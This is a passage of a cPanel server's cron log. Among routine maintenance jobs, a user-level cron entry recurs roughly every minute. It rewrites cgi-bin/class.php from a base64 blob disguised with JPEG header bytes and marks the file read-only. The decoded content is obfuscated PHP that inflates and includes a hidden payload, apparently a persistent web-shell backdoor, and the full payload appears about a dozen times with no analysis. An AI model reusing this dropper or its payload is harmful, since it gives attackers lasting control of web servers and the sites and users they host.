Aug 31 23:14:01 server CROND[21381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:14:01 server CROND[21382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:15:01 server CROND[21784]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:15:01 server CROND[21786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:15:01 server CROND[21787]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 23:15:01 server CROND[21791]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 23:15:01 server CROND[21789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:15:01 server CROND[21792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:15:01 server CROND[21788]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 23:15:01 server CROND[21790]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:16:01 server CROND[22785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:16:01 server CROND[22790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:16:01 server CROND[22793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:17:01 server CROND[23314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:17:01 server CROND[23315]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:17:01 server CROND[23316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:18:01 server CROND[23791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:18:01 server CROND[23792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:18:01 server CROND[23794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:19:01 server CROND[24228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:19:01 server CROND[24229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:19:01 server CROND[24230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:20:01 server CROND[24616]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 23:20:01 server CROND[24618]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 23:20:01 server CROND[24619]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 23:20:01 server CROND[24620]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 23:20:01 server CROND[24621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:20:01 server CROND[24626]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:20:01 server CROND[24623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:20:01 server CROND[24630]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:20:01 server CROND[24629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:21:01 server CROND[25471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:21:01 server CROND[25473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:21:01 server CROND[25472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:22:01 server CROND[25819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:22:01 server CROND[25820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:22:01 server CROND[25821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:23:01 server CROND[26131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:23:01 server CROND[26130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:23:01 server CROND[26132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:24:01 server CROND[26506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:24:01 server CROND[26507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:24:01 server CROND[26508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:25:01 server CROND[26820]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 23:25:01 server CROND[26822]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:25:01 server CROND[26823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:25:01 server CROND[26825]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 23:25:01 server CROND[26824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:25:01 server CROND[26826]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:25:01 server CROND[26828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:26:01 server CROND[27567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
